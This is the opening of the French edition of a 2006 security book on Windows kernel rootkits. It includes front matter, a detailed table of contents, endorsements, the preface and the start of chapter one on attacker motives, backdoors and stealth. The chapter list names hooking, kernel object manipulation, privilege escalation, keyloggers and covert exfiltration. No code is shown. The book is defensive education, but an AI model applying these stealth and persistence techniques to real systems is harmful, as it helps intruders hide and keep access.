You are on page 1of 352

Rootkits

Infiltrations du noyau Windows


Greg Hoglund et James Butler

CAMPUSPRESS

CampusPress a apport le plus grand soin la ralisation de ce livre afin de vous fournir une
information complte et fiable. Cependant, CampusPress nassume de responsabilits, ni pour son
utilisation, ni pour les contrefaons de brevets ou atteintes aux droits de tierces personnes qui
pourraient rsulter de cette utilisation.
Les exemples ou les programmes prsents dans cet ouvrage sont fournis pour illustrer les
descriptions thoriques. Ils ne sont en aucun cas destins une utilisation commerciale ou
professionnelle.
CampusPress ne pourra en aucun cas tre tenu pour responsable des prjudices ou dommages de
quelque nature que ce soit pouvant rsulter de lutilisation de ces exemples ou programmes.
Tous les noms de produits ou marques cits dans ce livre sont des marques dposes par leurs
propritaires respectifs.

Publi par CampusPress


47 bis, rue des Vinaigriers
75010 PARIS
Tl. : 01 72 74 90 00

Auteurs : Greg Hoglund et James Butler


Titre original :
Rootkits Subverting the Windows Kernel

Mise en pages : TyPAO


ISBN : 2-7440-2076-1
Copyright 2006 CampusPress
Tous droits rservs

Traducteur : Freenet Sofor ltd


ISBN original : 0-321-29431-9
Copyright 2006 by Addison-Wesley
Tous droits rservs

CampusPress est une marque


de Pearson Education France

Aucune reprsentation ou reproduction, mme partielle, autre que celles prvues l'article L. 122-5 2 et 3 a) du code de la
proprit intellectuelle ne peut tre faite sans lautorisation expresse de Pearson Education France ou, le cas chant, sans le
respect des modalits prvues larticle L. 122-10 dudit code.

Table des matires


A propos de Rootkits ............................................................................................................... IX
Prface ....................................................................................................................................... 1
Historique ............................................................................................................................ 1
Lectorat du livre ................................................................................................................... 2
Prrequis .............................................................................................................................. 3
Porte du livre ...................................................................................................................... 3
Remerciements ........................................................................................................................... 5
A propos des auteurs ................................................................................................................... 7
A propos de lillustration en couverture ..................................................................................... 9
Chapitre 1. Ne laisser aucune trace ................................................................................... 11
Comprendre les motifs de votre agresseur.......................................................................... 12
Un programme furtif ..................................................................................................... 13
Quand la furtivit est secondaire ................................................................................... 14
Quest-ce quun rootkit....................................................................................................... 14
Raison dtre des rootkits .................................................................................................. 15
Contrle distance........................................................................................................ 15
Interception logicielle .................................................................................................. 16
Emplois lgitimes des rootkits ..................................................................................... 17
Un bref historique ........................................................................................................ 18
Fonctionnement dun rootkit ............................................................................................. 19
Le patching ................................................................................................................... 19
Les ufs de Pques ...................................................................................................... 19
Modification de type spyware ...................................................................................... 20
Modification du code source ........................................................................................ 20
Illgalit des modifications dun logiciel ..................................................................... 21
Ce quun rootkit nest pas................................................................................................... 21
Un rootkit nest pas un exploit ...................................................................................... 22
Un rootkit nest pas un virus ........................................................................................ 23

IV

Table des matires

Rootkits et exploits logiciels ..............................................................................................


Pourquoi les exploits posent-ils toujours problme ............................................... 26
Techniques offensives de rootkit .......................................................................................
Systmes dhte ...........................................................................................................
Systmes de rseau .......................................................................................................
Contournement dun IDS/IPS ......................................................................................
Contournement des outils danalyse forensique .................................................... 30
Conclusion ........................................................................................................................

24

Chapitre 2. Infiltration du noyau .............................................................................................


Les composants importants du noyau ......................................................................... 34
Conception dun rootkit .....................................................................................................
Introduction de code dans le noyau ............................................................................. 38
Build du driver pour Windows...........................................................................................
Le kit de dveloppement de drivers (DDK) .......................................................... 40
Les environnements de build du DDK .................................................................. 40
Les fichiers ..................................................................................................................
Excution de lutilitaire Build ......................................................................................
La routine de dchargement ........................................................................................
Chargement et dchargement du driver ...................................................................... 43
Journalisation des instructions de debugging ....................................................................
Communication entre le mode utilisateur et le mode noyau ....................................... 45
Paquets de requtes dE/S (IRP) ..................................................................................
Cration dun handle de fichier ....................................................................................
Ajout dun lien symbolique ..........................................................................................
Chargement du rootkit ......................................................................................................
Approche rapide ...........................................................................................................
Approche recommande ..............................................................................................
Dcompression du fichier . sys partir dune ressource ............................................. 56
Comment survivre la rinitialisation ...............................................................................
En conclusion ..............................................................................................................

33

Chapitre 3. Le niveau matriel ................................................................................................


Anneau zro ......................................................................................................................
De limportance des tables .................................................................................................
Pages mmoire ...................................................................................................................
Les coulisses du contrle daccs ................................................................................
Pagination mmoire et traduction dadresse ................................................................
Recherche dans une table de pages mmoire ...............................................................
Les entres du rpertoire de pages ...............................................................................

63
64
66
67
68
70
71
73

27
28
28
29
31

36
39

40
42
43
44
46
50
51
52
53
54
59
60

Table des matires

Lentre dune table de pages ................................................................................. 74


Accs en lecture seule aux tables systme ............................................................. 74
Multiples processus et rpertoires de pages ........................................................... 75
Processus et threads .....................................................................................................
Les tables de descripteurs de mmoire ....................................................................... 77
La table globale de descripteurs (GDT) ................................................................ 77
Les tables locales de descripteurs (LDT) .............................................................. 77
Les segments de code ...................................................................................................
Les portes dappel (call gates) ................................................................................ 78
La table de descripteurs dinterruptions ...................................................................... 78
Dautres types de portes (gates) ............................................................................ 81
La table de distribution des services systme (SSDT) ................................................. 82
Les registres de contrle ............................................................................................. 82
Le registre de contrle 0 (CR0) ............................................................................. 83
Dautres registres de contrle .......................................................................................
Le registre EFLAGS .......................................................................................................
Systmes multiprocesseurs ...............................................................................................
Conclusion ........................................................................................................................

76

78

83
84
84
86

Chapitre 4. Lart du hooking................................................................................................ 87


Hooks de niveau utilisateur................................................................................................ 87
Hooking de la table IAT ........................................................................................ 90
Hooking de fonctions en ligne ............................................................................... 91
Injection dune DLL dans des processus en mode utilisateur................................. 93
Hooks de niveau noyau ..................................................................................................... 98
Hooking de la table de descripteurs de services systme ....................................... 99
Hooking de la table IDT ............................................................................................. 108
Hooking de la table de fonctions de gestion des IRP majeurs dun driver ............ 113
Approche de hooking hybride ......................................................................................... 123
Pntrer dans lespace dadressage dun processus ................................................... 123
Espace mmoire pour les hooks ................................................................................. 127
Conclusion ...................................................................................................................... 129
Chapitre 5. Patching lors de lexcution .............................................................................. 131
Le patching de dtour ..................................................................................................... 132
Dtournement du flux de contrle au moyen de Migbot ........................................ 133
Recherche des octets de la fonction ....................................................................... 135
Garder trace des instructions crases ....................................................................... 137

VI

Table des matires

Utilisation dune zone mmoire non pagine ........................................................ 139


Correction des adresses de substitution lexcution............................................. 139
Modles de saut ............................................................................................................... 143
Un exemple de hook de table dinterruptions ........................................................ 144
Variations ........................................................................................................................ 150
Conclusion ...................................................................................................................... 151
Chapitre 6. Chanage de drivers ........................................................................................ 153
Un sniffeur de clavier ....................................................................................................... 154
Paquets IRP et I0_STACK_L0CATI0N .......................................................................... 156
Le rootkit KLOG ............................................................................................................. 159
Drivers de filtrage de fichiers ........................................................................................... 171
Conclusion ...................................................................................................................... 184
Chapitre 7. Manipulation directe des objets du noyau ...................................................... 185
Avantages et inconvnients de la technique DKOM .................................................... 186
Dterminer la version du systme dexploitation ............................................................ 188
Autodtermination du mode utilisateur ...................................................................... 188
Autodtermination du mode noyau ............................................................................ 190
Dtermination de la version du systme dexploitation partir du Registre ......... 190
Communication avec un driver partir du mode utilisateur ........................................ 192
Dissimulation dobjets du noyau avec DKOM ............................................................... 196
Dissimulation de processus ....................................................................................... 196
Dissimulation de drivers .............................................................................................. 201
Question de synchronisation ...................................................................................... 205
Augmentation des privilges du jeton daccs dun processus .................................... 209
Modification dun jeton de processus ......................................................................... 210
Faire mentir lObservateur dvnements ................................................................... 224
Conclusion ....................................................................................................................... 227
Chapitre 8. Manipulations au niveau matriel .......................................................................
Pourquoi le niveau matriel ? ...........................................................................................
Modification dun microcode ...........................................................................................
Accs au matriel ..............................................................................................................
Adresses matrielles ....................................................................................................
Accs matriel vs accs la RAM ..............................................................................
De limportance de la synchronisation ........................................................................
Le bus dentre/sortie .................................................................................................

229
231
232
233
234
235
236
236

Table des matires VII

Accs au BIOS .......................................................................................................... 238


Accs aux dispositifs PCI et PCMCIA .................................................................. 239
Accs au contrleur de clavier ..................................................................................... 239
Le contrleur de clavier 8259 ................................................................................ 239
Modification des LED du clavier .............................................................................. 240
Redmarrage forc .................................................................................................... 246
Intercepteur de frappe ................................................................................................ 246
Mise jour dun microcode ........................................................................................ 252
Conclusion ...................................................................................................................... 253
Chapitre 9. Canaux de communication secrets .................................................................. 255
Contrle distance et exfiltration de donnes ............................................................ 256
Dissimulation dans des protocoles TCP/IP ...................................................................... 258
Ne pas provoquer de pics de trafic ........................................................................ 259
Ne pas envoyer de donnes en clair ...................................................................... 259
Tirer parti de lintervalle de temps entre les paquets ............................................. 260
Dissimuler des donnes sous des requtes DNS ....................................................... 260
La stganographie applique une charge utile ASCII ............................................. 260
Utiliser dautres protocoles TCP/IP .......................................................................... 262
Dissimulation au niveau du noyau via TDI ................................................................ 262
Cration dune structure dadresse ............................................................................. 263
Cration dun objet adresse locale ......................................................................... 265
Cration dun point dextrmit TDI avec un contexte .......................................... 268
Association dun point dextrmit une adresse locale ....................................... 271
Connexion un serveur distant .............................................................................. 273
Envoi de donnes un serveur distant .................................................................. 275
Manipulation du trafic de rseau...................................................................................... 277
Limplmentation de sockets bruts dans Windows XP ......................................... 278
Liaison une interface .............................................................................................. 279
Interception de paquets avec un Socket brut .............................................................. 279
Interception de paquets dans le mode "promiscuous" ................................................ 280
Envoi de paquets avec un socket brut..................................................................... 281
Falsification de lorigine des paquets ......................................................................... 281
Le rebond de paquets ................................................................................................. 282
Support de TCP/IP dans le mode noyau via NDIS ..................................................... 283
Dclaration du protocole ............................................................................................ 283
Fonctions de callback du driver de protocole ......................................................... 287
Dplacement de paquets entiers ................................................................................. 292

VIII Table des matires

Emulation dhte ............................................................................................................


Cration de votre adresse MAC ................................................................................
Gestion d'ARP ...........................................................................................................
Passerelle IP ..............................................................................................................
Envoi dun paquet .....................................................................................................
Conclusion ......................................................................................................................

298
298
298
301
301
305

Chapitre 10. Dtection dun rootkit................................................................................... 307


Dtection de la prsence dun rootkit ............................................................................. 308
Surveillance des points dentre ................................................................................ 308
Scan de la mmoire ................................................................................................... 311
Recherche de hooks .................................................................................................. 311
Dtection du comportement dun rootkit ......................................................................... 321
Dtection de cls de registre et de fichiers cachs ................................................ 321
Dtection de processus cachs .................................................................................. 321
Conclusion ...................................................................................................................... 325
Index

327

A propos de Rootkits

"Quiconque travaillant dans le domaine de la scurit informatique doit


imprativement lire ce livre pour comprendre la menace croissante que
constituent les rootkits. "
- Mark Russinovich, diteur, Windows IT Pro et Windows & .NETMagazine

"Le contenu de ce livre nest pas seulement dactualit, il dfinit ce qu


actuel veut dire. Il est vritablement la pointe de la technologie. Seul
ouvrage sur le sujet, Rootkits intressera tous les chercheurs ou
programmeurs en scurit Windows. Il est dtaill, bien document, et
les informations techniques quil propose sont dexcellente qualit. Le
niveau des dtails techniques, la somme des recherches et le temps
investi dans llaboration dexemples pertinents sont tout simplement
impressionnants. En un mot : remarquable ! "
- Tony Bautts, consultant en scurit et directeur gnral de Xtivix, Inc

"Ce livre est incontournable pour toute personne responsable de la


scurit sous Windows. Les professionnels de la scurit, les
administrateurs de systmes Windows et les programmeurs en gnral se
doivent de comprendre les techniques mises en uvre par les auteurs de
rootkits. Alors que de nombreux professionnels de linformatique et de la
scurit sinquitent de lapparition de nouveaux virus de messagerie ou
sont occups installer les derniers correctifs de scurit en date,
Hoglund et Butler

Rootkits

Infiltrations du noyau Windows

ouvrent les yeux sur certaines des menaces les plus furtives et
proccupantes auxquelles les systmes Windows sont exposs. Ce n est
qu en comprenant ces techniques offensives que vous pourrez
correctement dfendre les rseaux et les systmes dont vous avez la
charge. "
- Jennifer Kolde, consultante en scurit, auteur et formatrice

"Quy a-t-il de pire que dtre aux mains dautrui ? Ne pas le savoir.
Dcouvrez ce que signifie tre possd par un inconnu en lisant
louvrage de Hoglund et Butler sur les rootkits, le premier du genre. Au
top de la liste doutils du hacker laquelle inclut entre autres des
dcompilateurs, des dsassembleurs, des moteurs dinjection derreurs,
des debuggers de noyau, des ensembles de codes malveillants, des outils
de test de code et des outils danalyse de flux se trouve le rootkit. En
reprenant l o Exploiting Software stait arrt, le prsent livre
montre comment des attaquants peuvent se dissimuler sous vos yeux.
Les rootkits reprsentent une nouvelle vague de techniques dattaque
extrmement puissantes. A linstar dautres codes malveillants, ils se
caractrisent par leur furtivit. Ils restent indcelables pour /
observateur moyen et recourent des mthodes diverses, telles que des
hooks, des trampolines ou des patchs pour mener bien leur mission.
Les rootkits sophistiqus sexcutent de telle manire quils peuvent
chapper la dtection des programmes de surveillance du systme. Un
rootkit offre un accs privilgi uniquement aux personnes qui savent qu
il est prsent sur le systme et est prt recevoir des commandes. Les
rootkits de niveau noyau peuvent dissimuler des fichiers et excuter des
processus pour installer une porte drobe sur la machine cible.
Pour ceux dentre nous qui tentons de protger des systmes
informatiques, il est dcisif de comprendre loutil suprme des
attaquants. Hoglund et Butler sont les mieux placs pour nous amener
une comprhension pratique des rootkits et de leurs mcanismes
fondamentaux. "
- Gary MacGraw, Ph.D., directeur technique, Cigital,
coauteur de Exploiting Software (2004) et de Building
Secure Software (2002), Addison-Wesley

A propos de Rootkits XI

"Greg et Jamie sont les deux experts indiscutables de l'infiltration des


API Windows et de la cration de rootkits. Ils lvent le voile sur le
mystre des rootkits en nous faisant partager des informations qui n
'avaient encore jamais t divulgues jusque-l. Quiconque sintresse
la scurit des systmes Windows, mme de loin, devrait considrer la
lecture de ce livre comme une priorit. "
Harlan Carvey, auteur de Windows
Forensics et Incident Recovery (AddisonWesley, 2005)

Ce livre est ddi toutes les personnes qui ont apport leur
contribution rootkit.com ainsi qu celles qui nhsitent pas partager
leurs connaissances.
-Greg

A mes parents, Jim et Linda, pour ces nombreuses annes de dvouement.


- Jamie

Prface
Un rootkit est un ensemble de programmes et de code permettant
dtablir une prsence permanente et indtectable sur un ordinateur.

Historique
Greg Hoglund et moi-mme, James Butler, en sommes venus nous intresser aux
rootkits dans le cadre de notre activit professionnelle, qui a trait la scurit
informatique. Mais lapprofondissement du sujet sest vite transform en une mission
personnelle pour tous les deux (signifiant des veilles tardives et des week-ends
studieux). Cela a conduit Hoglund fonder rootkit.com, un forum consacr la rtroingnierie et au dveloppement de rootkits. Nous sommes tous les deux grandement
impliqus dans ce forum. Cest moi qui ai contact en premier Hoglund via ce site car
javais besoin de tester un nouveau rootkit puissant de ma cration, FU 1. Je lui ai donc
envoy une partie du code source et un fichier binaire prcompil. Involontairement,
cependant, javais omis de lui transmettre le code source du driver. Hoglund a
simplement charg le rootkit prcompil sur sa station de travail sans me poser de
question puis ma signal ma grande surprise que FU semblait fonctionner
parfaitement. Notre confiance mutuelle na cess de grandir depuis1 2.
Nous sommes tous les deux depuis longtemps motivs par un besoin presque
obsessionnel de dissquer le noyau Windows par rtro-ingnierie. Cest un peu comme
lorsque quelquun affirme quune certaine chose est impossible faire et que vous
vous efforcez dy parvenir. Il est trs satisfaisant dapprendre le fonctionnement des
prtendus produits de scurit pour trouver des moyens de les contourner, ce qui mne
invitablement au dveloppement de meilleurs mcanismes de protection.

1. Je ne mintressais pas aux rootkits des fins malveillantes et tais plutt fascin par la puissance des
modifications de niveau noyau, ce qui ma amen dvelopper le premier programme de dtection de
rootkits, VICE.
2. Hoglund se demande dailleurs encore de temps autre si la version originale de FU s'excute toujours sur sa
machine.

Rootkits

Infiltrations du noyau Windows

Le fait quun produit dclare assurer un certain niveau de scurit ne signifie pas
ncessairement que ce soit le cas. En jouant le rle de lattaquant, nous avons un
avantage considrable. Il nous suffit de penser une seule chose que le dfenseur
aurait pu oublier de considrer. Le dfenseur doit, lui, penser toutes les choses quun
attaquant pourrait faire.
Il y a quelques annes de cela, nous avons dcid de faire quipe pour proposer des
cours de formation sur les aspects offensifs de la technologie des rootkits. Au dpart,
le contenu dont nous disposions nous permettait dassurer une formation dune seule
journe. Mais, avec le temps, nous avons compil des centaines de pages de notes et
dexemples de code qui constituent les fondements de ce livre. Nous dispensons
prsent cette formation plusieurs fois par an loccasion de la confrence de scurit
Black Hat et aussi de manire prive.
Par la suite, nous avons galement entrepris de collaborer au sein de la socit
HBGary, Inc, o nous sommes confronts quotidiennement des problmes de rootkit
trs complexes. Dans ce livre, nous nous fondons sur notre exprience pour couvrir les
menaces auxquelles sont exposs les utilisateurs de Windows aujourdhui et qui ne
feront probablement quaugmenter dans le futur.

Lectorat du livre
Ce livre se destine ceux qui sintressent la scurit informatique et qui souhaitent
obtenir une perspective plus relle des menaces qui existent. De nombreux ouvrages et
autres documents expliquent comment les intrus sy prennent pour pntrer dans des
systmes informatiques, mais peu a t dit sur ce quils peuvent y faire ensuite. Le
prsent livre aborde notamment les mthodes par lesquelles un intrus parvient
dissimuler son activit sur une machine compromise.
Nous pensons que la plupart des diteurs de logiciels, y compris Microsoft, ne
prennent pas les rootkits au srieux, cest pourquoi nous publions ce livre. Son contenu
na rien de rvolutionnaire pour ceux qui travaillent dj avec des rootkits ou des
systmes dexploitation depuis de nombreuses annes. Mais il prouvera tous les
autres que les rootkits reprsentent un risque rel pour la scurit et quun scanner de
virus ou un pare-feu dhte ne suffit pas pour sen protger. Il dmontre quun rootkit
peut sinfiltrer dans un ordinateur et y demeurer des annes sans que personne ne
remarque rien.

Prface

La transmission efficace dinformations sur les rootkits demandait dcrire la plus


grande partie du livre du point de vue de lattaquant, mais nous terminons nanmoins
par une perspective dfensive. A mesure que vous dcouvrirez les objectifs et
techniques de vos agresseurs potentiels, vous en apprendrez plus sur les faiblesses de
votre systme et la faon de les pallier. La lecture de ce livre vous aidera amliorer la
scurit de votre systme et prendre des dcisions plus informes en matire dachat
de logiciels de protection.

Prrequis
Tout le code contenu dans ce livre a t crit en C. Vous serez donc plus mme de
saisir et dexploiter les exemples proposs si vous comprenez au moins les principes
de base de ce langage, celui de pointeur tant le plus important. Si vous ne disposez
daucune connaissance en programmation, vous devriez quand mme pouvoir suivre la
logique des exemples et comprendre les menaces voques mme si les dtails prcis
de leur implmentation vous chappent. Certaines sections font appel des concepts
propres larchitecture des drivers pour Windows, mais aucune exprience en matire
de dveloppement de drivers nest requise. Nous vous guiderons dans llaboration
dun driver pour Windows et poursuivrons partir de l avec la technologie des
rootkits.

Porte du livre
Ce livre couvre les rootkits pour Windows, bien que la plupart des concepts exposs
sappliquent galement dautres systmes dexploitation tels que Linux. Nous nous
concentrons sur les rootkits de niveau noyau car ce sont les plus difficiles dtecter.
Nombre de rootkits publics pour Windows oprent dans le mode utilisateur 1 car ce
genre de rootkit est plus facile implmenter puisquil ne demande pas de matriser le
fonctionnement du noyau non document.
Nous avons choisi dignorer les spcificits de rootkits particuliers pour nous attarder
sur les approches gnrales mises en uvre par tous les rootkits. Dans chaque chapitre,
nous introduisons une technique de base, expliquons son utilit et montrons comment
limplmenter laide dexemples de code. Fort de ces informations, vous devriez
pouvoir tendre ces exemples de mille faons diffrentes

1. Cest--dire quils nimpliquent pas de modifications du noyau et sappuient la place sur la modification de
programmes utilisateur.

Rootkits

Infiltrations du noyau Windows

pour accomplir toutes sortes de tches. Lorsque vous travaillez au niveau du noyau,
vous ntes limit que par votre imagination.
La majorit du code fourni dans ce livre est tlchargeable sur www.rootkit.com. Pour
chaque exemple, lURL prcise est indique. Dautres auteurs de rootkits publient
galement les rsultats de leurs recherches sur ce site, et vous trouverez certainement
utile de les consulter pour vous tenir au courant des dernires dcouvertes.

Remerciements
Nous naurions pas pu crire ce livre sans laide des nombreuses personnes qui nous
ont aid parfaire notre comprhension de la scurit informatique au fil des annes.
Nous tenons remercier en premier lieu nos collgues et la communaut dutilisateurs
de rootkit.com. Un grand merci galement tous les tudiants qui ont suivi notre
formation sur les aspects offensifs de la technologie des rootkits. A chaque fois que
nous enseignons, nous apprenons quelque chose de nouveau.
Les personnes suivantes nous ont fait partager leurs commentaires clairs lors des
premires preuves du livre : Tony Bautts, Richard Bejtlich, Harlan Carvey, Graham
Clark, Greg Cummings, Jeremy Epstein, Jennifer Kolde, Marcus Leech, Gary
McGraw et Sherri Sparks. Nous sommes aussi trs reconnaissants Audrey Doyle, qui
a grandement contribu llaboration du livre dans des conditions de planification
trs serres.
Enfin, nous exprimons notre gratitude envers notre diteur, Karen Gettman, et son
assistante, Ebony Haight, chez Addison-Wesley, pour stre si bien adaptes nos
agendas surchargs ainsi quaux grandes distances qui nous sparent et pour avoir su
maintenir notre attention sur louvrage. Elles nous ont apport tout ce dont nous avions
besoin pour russir lcrire.
- Greg et Jamie.

A propos des auteurs


Greg Hoglund a t un pionnier dans le domaine de la scurit logicielle. Il est
directeur gnral de HBGary, Inc, une socit leader dans la fourniture de services de
vrification de la scurit des logiciels. Aprs avoir conu un des premiers analyseurs
de vulnrabilits rseau (adopt par plus de la moiti des entreprises figurant au
classement Fortune 500), il a dvelopp et document le premier rootkit pour
Windows NT, crant dans le mme lan www.rootkit.com. Greg intervient
frquemment lors de confrences sur la scurit, dont Black Hat et RSA. Il est le
coauteur du best-seller Exploiting Software: How to Break Code (Addison-Wesley,
2004).
James Butler, directeur technique chez HBGary, est un expert minent en
programmation de noyau et de dveloppement de rootkits et possde aussi une grande
exprience des systmes de dtection dintrusion dhte. Il est lauteur de VICE, un
systme de dtection de rootkit et danalyse forensique. Il a travaill auparavant
comme cadre-ingnieur pour la conception des logiciels de scurit chez Enterasys et
comme scientifique informatique la NSA (National Security Agency). Il participe
souvent en tant que formateur et intervenant aux confrences de scurit Black Hat. Il
dtient en outre une matrise dinformatique de luniversit du Maryland et a publi
des articles dans les revues IEEE Information Assurance Workshop, Phrack, USENIX
;login: et Information Management and Computer Security.

A propos de lillustration
en couverture
Lillustration en couverture du livre possde une signification importante pour Jamie et
moi. Nous lavons conue nous-mmes avec laide dun artiste brsilien trs talentueux
qui se nomme Paulo. Le personnage illustr est un samoura, une figure japonaise
historique (notre approche crative ne doit en aucun cas tre considre comme une
marque dirrespect). Nous avons choisi ce guerrier car il incarne la magnificence de
son art et sa matrise, la force de caractre et le fait que cet art tait essentiel pour sa
culture et ses matres. Ce motif souligne aussi limportance de reconnatre
linterconnectivit du monde dans lequel nous vivons.
Le sabre est loutil du samoura, le moyen dexpression de son talent. Vous
remarquerez quil apparat au centre de limage et est enfonc dans le sol. De lui
partent des racines qui symbolisent la dynamique de lacquisition de la connaissance.
Ces racines deviennent des circuits pour reprsenter la connaissance des technologies
informatiques et les outils du dveloppeur de rootkits. Les idogrammes, ou kanji, qui
figurent derrire lui signifient "acqurir le savoir".
Nous pensons quil sagit dune description juste de notre travail. Jamie et moi
apprenons continuellement et actualisons nos comptences. Nous sommes heureux de
pouvoir communiquer dautres ce que nous avons appris. Nous voulons vous
sensibiliser lincroyable pouvoir qui rside dans le dveloppement de racines.
Greg Hoglund

1
Ne laisser aucune trace
Subtil et immatriel, lexpert ne laisse pas de trace ; mystrieux comme
une divinit, il est inaudible. Cest ainsi quil met lennemi sa merci.
- Sun Tzu

De nombreux ouvrages ont dj trait du dtournement de systmes informatiques et


de logiciels, de lexcution de scripts dattaque, de la programmation dexploits de
dbordement de tampon ou de la cration de shellcode (code permettant de lancer un
interprteur de commandes), tels que Exploiting SoftwareThe Schellcoders Handbook 1
2
et Hacking Exposed3.
Ce livre est diffrent. Plutt que parler des attaques elles-mmes, il montre comment
les attaquants restent "prsents" sur un systme aprs sy tre introduits. Peu de livres
expliquent ce qui peut se passer aprs une intrusion russie, lexception des ouvrages
sur linvestigation forensique informatique (ou inforensique). Tandis que ces derniers
ont une approche dfensive - comment dtecter lattaquant et dissquer par rtroingnierie le code malveillant -, nous avons choisi pour ce livre une approche offensive
en exposant la faon dont un attaquant demeure sur un

1. G. Hoglund et G. McGraw, Exploiting Software: How to Break Code (Boston : Addison-Wesley, 2004). Voir
aussi www.exploitingsoftware.com.
2. J. Koziol, D. Litchfield, D. Aitel, C. Anley, S. Eren, N. Mehta et R. Hassell, The Shellcoders Handbook
(New York : John Wiley & Sons, 2004).
3. S. McClure, J. Scambray et G. Kurtz, Hacking Exposed (New York : McGraw-Hill, 2003).

12 Rootkits

Infiltrations du noyau Windows

systme sans tre dtect, ce dernier point tant essentiel pour le succs de son
opration sur le long terme.
Ce chapitre prsente la technologie et les principes gnraux de fonctionnement dun
rootkit. Cest un lment parmi les nombreux outils de la panoplie dun attaquant, mais
il est dcisif pour la russite de nombreux types dattaques.
Le code dun rootkit nest pas intrinsquement malveillant, mais il peut tre employ
par des programmes qui le sont. Il est important de comprendre cette technologie pour
tre en mesure de se dfendre contre les attaques modernes et avances.

Comprendre les motifs de votre agresseur


Une porte drobe, ou backdoor, dans un ordinateur permet un attaquant de revenir.
Elle a t lhonneur dans de nombreux films de Hollywood, sous la forme dun mot
de passe ou autre moyen secret permettant daccder un systme informatique
hautement scuris. Cette technique ne se limite toutefois pas au cinma et figure
galement dans des scnarios bien rels o elle sert diverses activits clandestines,
telles que le vol de donnes, la surveillance des utilisateurs ou la pntration profonde
au sein de rseaux informatiques.
Un attaquant laisse une porte drobe pour diverses raisons. La premire est quil est
difficile de sintroduire sur un systme informatique. Aussi, une fois quil y parvient, il
cherchera y conserver un pied. A partir du systme compromis, il pourra, par
exemple, lancer dautres attaques.
Un autre motif majeur est la collecte dinformations. Lattaquant peut enregistrer la
frappe au clavier, surveiller le comportement de lutilisateur au fil du temps,
intercepter des paquets sur le rseau et exfiltrer1 des donnes. Toutes ces activits
requirent de laisser une porte drobe, un programme actif qui assurera la collecte des
informations.
Une intrusion peut aussi avoir pour but la destruction dun systme, auquel cas
lattaquant laissera une bombe logique prvue pour agir au moment voulu. Dans cette
situation, mme si lattaquant ne requiert pas de revenir sur le systme, le programme
devra, comme dans le cas dune porte drobe, rester indtectable.

1. Exfiltrer : transporter une copie de donnes d'un emplacement vers un autre.

Chapitre 1

Ne laisser aucune trace 13

Un programme furtif
Pour passer inaperu, un programme backdoor doit avoir pour caractristique dtre
furtif (stealth), cest--dire ne pas tre dtectable. Sur ce point, la plupart des
programmes disponibles ne brillent pas et sont sources dalas. La raison principale
cela est que les dveloppeurs cherchent intgrer toutes sortes de fonctionnalits dans
un programme backdoor fourre-tout. Par exemple, prenez les programmes Back
Orifice ou NetBus. Ils arborent tous deux une liste impressionnante de fonctionnalits,
certaines aussi ridicules que ljection du plateau du lecteur de CD- ROM. Cela peut
tre drle comme blague de bureau, mais cest totalement inadquat dans le cadre
dune opration professionnelle1. Si lattaquant nest pas prudent, il rvlera sa
prsence sur le rseau et toute lopration chouera. Pour cette raison, une telle action
ncessite lemploi de programmes de backdoor automatiss qui ne servent qu une
chose et rien dautre, garantissant des rsultats cohrents.
Si les oprateurs dun systme ou dun rseau souponnent une intrusion, ils peuvent
recourir une investigation forensique pour rechercher un programme backdoor ou
ayant une activit inhabituelle 1 2. La meilleure protection contre ce genre dinspection
est la furtivit : passer inaperu pour ne pas dclencher de recherches. Il existe cette
fin diverses faons de procder. Un attaquant peut essayer dtre discret en maintenant
le trafic rseau quil engendre un niveau minimal et en ne sauvegardant pas ses
fichiers sur le disque dur. Certains attaquants stockent leurs fichiers sur le disque mais
utilisent des techniques de dissimulation. Si la furtivit dune attaque est bien gre, il
ny aura pas dinvestigation car lintrusion ne sera pas dtecte. Et, mme en cas de
suspicion dune attaque, une furtivit bien prserve permettra aux fichiers dissimuls
dchapper la dtection.

1. "Professionnelle" signifie ici une opration autorise, par exemple dans le cadre de lexercice de la loi ou de
lexcution de tests de pntration.
2. Pour un document intressant sur lanalyse forensique, consultez D. Farmer et W. Venema, Forensic
Discovery (Boston : Addision-Wesley, 2004).

14 Rootkits

Infiltrations du noyau Windows

Quand la furtivit est secondaire


Parfois, une attaque na pas besoin dtre furtive. Par exemple, un intrus souhaitant
rester sur un systme juste le temps de subtiliser des donnes, comme un spool demail, naurait pas forcment besoin de se soucier que son attaque soit dtecte a
posteriori.
Une autre situation o la furtivit nest pas ncessairement utile est lors dattaques
visant le plantage dun systme, par exemple si lordinateur vis contrle un systme
antiarien. Dans ce cas, la discrtion nest pas un souci majeur, seule la finalit de
laction importe. Dans ce type de situation, lattaque est souvent flagrante (et
perturbante pour la victime). Si vous souhaitez en apprendre davantage sur ce type
dopration, ce livre ne vous sera daucune aide.
Maintenant que vous avez une comprhension de base des motifs dun attaquant, nous
pouvons passer ltude des principes de fonctionnement gnraux dun rootkit.
Ouvrons tout dabord une parenthse le temps dun bref historique.

Qu'est-ce qu'un rootkit


Le terme rootkit existe dj depuis plus de dix ans. Il dsigne un kit de petits
programmes qui permettent un attaquant de maintenir un accs de niveau "root" (ou
administrateur) sur un systme, cest--dire de lutilisateur le plus puissant sur un
ordinateur. En dautres termes, cest un ensemble de programmes et de code qui
octroient son utilisateur une prsence permanente ou cohrente et indtectable sur
un ordinateur.
Dans cette dfinition, le terme cl est "indtectable". La plupart des techniques et
astuces employes par un rootkit visent dissimuler du code et des donnes sur un
systme. Ainsi, beaucoup de rootkits peuvent masquer des fichiers et des rpertoires.
Dautres fonctionnalits concernent laccs distance et linterception, par exemple
pour capturer des paquets du rseau. Lorsque ces diffrentes fonctions sont combines,
elles dlivrent un knock-out la scurit.
Un rootkit nest pas ncessairement du code malveillant, et il nest pas non plus
toujours utilis pour des actes illicites. Il est important de comprendre quil sagit
dune technologie. Il existe aussi beaucoup de programmes commerciaux lgitimes qui
offrent leurs utilisateurs la possibilit dadministrer un systme distance et mme
de pratiquer la surveillance logicielle. Certains de ces programmes

Chapitre 1

Ne laisser aucune trace 15

sont mme furtifs. A bien des gards, ils pourraient galement tre considrs comme
tant des rootkits. Dans le cadre dune opration lgale, le terme "rootkit" pourrait
aussi tre utilis pour dsigner le programme backdoor autoris alors install sur
une cible dans le cadre de lexercice de la loi. Nous aborderons ce sujet plus loin dans
ce chapitre. De grandes entreprises emploient galement cette technologie pour
surveiller et faire respecter les rglementations rgissant lusage des ordinateurs.
Grce une dmarche offensive, nous vous ferons dcouvrir les comptences et
techniques mises en uvre par votre ennemi. Vous tendrez en mme temps vos
propres connaissances en cherchant vous protger contre la menace du rootkit. Si
vous tes un dveloppeur lgitime utilisant cette technologie, ce livre vous aidera
